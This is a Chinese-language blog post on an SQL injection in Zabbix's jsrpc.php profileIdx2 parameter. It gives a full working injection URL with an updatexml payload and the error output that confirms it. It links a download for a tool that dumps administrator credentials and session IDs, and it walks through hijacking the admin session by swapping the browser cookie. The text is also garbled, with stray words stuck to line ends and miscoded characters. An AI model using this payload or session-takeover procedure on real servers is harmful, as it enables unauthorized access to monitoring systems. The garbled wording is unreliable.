zabbix 爆高危 SQL 注入漏洞,可获系统权限(profileIdx 2 参数)

漏洞概述

zabbix是一个开源的企业级性能监控解决方案。近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需受权登录便可登录zabbix管理系统,也可经过script等功能轻易直接获取zabbix服务器的操做系统权限。

 

 

影响程度

攻击成本:低

危害程度:高

是否登录:不须要

影响范围:2.2.x, 3.0.0-3.0.3。(其余版本未经测试)

  

漏洞测试

在zabbix地址后面添加这串urlphp

jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx
2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

 

若是显示如下内容,则说明存在profileIdx 2 参数注入漏洞web

<div class="flickerfreescreen" id="flickerfreescreen_1" data-timestamp="1471403798083" style="position: relative;"></div><table class="msgerr" cellpadding="0" cellspacing="0" id="msg_messages" style="width: 100%;"><tr><td class="msg" colspan="1"><ul class="messages"><li class="error">reset() expects parameter 1 to be array, null given [jsrpc.php:208 &rarr; CScreenHistory-&gt;get() &rarr; reset() in /usr/share/zabbix/include/classes/screens/CScreenHistory.php:106]</li><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (230, 2, 'web.item.graph.period', '3600', 2, 1 or updatexml(1,md5(0x11),1) or 1=1)#)] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (231, 2, 'web.item.graph.stime', '20160817050632', 3, 1 or updatexml(1,md5(0x11),1) or 1=1)#)] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (232, 2, 'web.item.graph.isnow', '0', 2, 1 or updatexml(1,md5(0x11),1) or 1=1)#)] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li></ul></td></tr></table>

 

漏洞检测工具及使用

下载连接:http://pan.baidu.com/s/1skLY1f3 密码:kl8e浏览器

 

 在地址栏中输入zabbix网站地址,若是存在漏洞将会弹窗提示 并输出帐号密码 以及sessionid服务器

 

漏洞检测工具内容的利用

1.咱们获取到了网站管理员的session_id,咱们能够修改浏览器session_id参数内容来进入管理页面cookie

2.解密密码而后输入帐号密码进入session

 

在这里只介绍一种工具

首先咱们已经获取了网站管理员的session_id:性能

ae74ae71d2ef6752c7ecc8beed4c0858测试

而后咱们能够利用firebug来修改网站的cookie储存内容网站

 

 

 

将此内容修改成咱们获取到的session_id

 而后肯定并刷新页面咱们就能够进入到管理页面了

 

 

 结束~~~~~

相关文章
相关标签/搜索